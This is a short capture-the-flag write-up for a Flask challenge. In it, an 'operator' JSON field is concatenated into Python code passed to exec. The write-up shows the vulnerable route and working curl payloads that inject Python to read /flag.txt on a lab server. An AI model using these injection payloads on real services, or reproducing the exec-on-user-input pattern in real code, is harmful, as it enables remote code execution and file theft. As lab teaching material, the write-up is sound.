Evaluation Deck
2 minutes to read
We are given this website:
However, the web UI is not that interesting…
Static code analysis
We also have the source code. The web application is built with Flask in Python. The following file is application/blueprints/routes.py
:
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
The vulnerability is that we, as attackers, are able to execute arbitrary Python code using the exec
function at endpoint /api/get_health
. We only need to find a payload that makes the code string have valid Python syntax. For instance:
$ python3 -q
>>> current_health = 1337
>>> operator = "; result = 'Run Python code here'; "
>>> attack_power = 0xACDC
>>> result = {}
>>> code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
>>> exec(code, result)
>>> result.get('result')
'Run Python code here'
In order to interact with the server we must use JSON format:
$ curl 178.62.85.130:32757/api/get_health -d '{"operator":"; result = \"Run Python code here\"; ","current_health":1,"attack_power":1}' -H 'Content-Type: application/json'
{"message":"Run Python code here"}
Flag
Instead of printing a test string, we can execute Python code to read /flag.txt
:
$ curl 178.62.85.130:32757/api/get_health -d '{"operator":"; result = open(\"/flag.txt\").read(); ","current_health":1,"attack_power":1}' -H 'Content-Type: application/json'
{"message":"HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}"}